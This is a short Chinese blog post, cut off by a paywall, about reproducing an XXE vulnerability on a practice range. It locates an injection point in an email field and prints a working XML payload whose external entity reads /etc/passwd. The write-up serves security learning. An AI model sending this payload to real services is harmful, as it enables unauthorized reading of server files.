xxe漏洞复现widgets

生活之光

于 2022-04-19 19:36:32 发布

阅读量402

点赞数

文章标签： xml

本文链接：https://blog.youkuaiyun.com/weixin_45498459/article/details/124279239

版权

本文通过靶场复现了一个XXE（XML External Entity）漏洞，首先在电子邮件功能中发现了一个注入点，该点返回了错误信息，暗示了XML解析的潜在风险。通过对XML输入的操纵，可以进一步探索此漏洞并了解其危害。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

靶场

1.找注入点

发现在电子邮件中返回了报错信息，为注入点

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY abc SYSTEM "file:///etc/passwd">]>
<root><name>1</name>
<tel>2</tel>
<email>&abc;</email>
<password>4</password></root>

最低0.47元/天解锁文章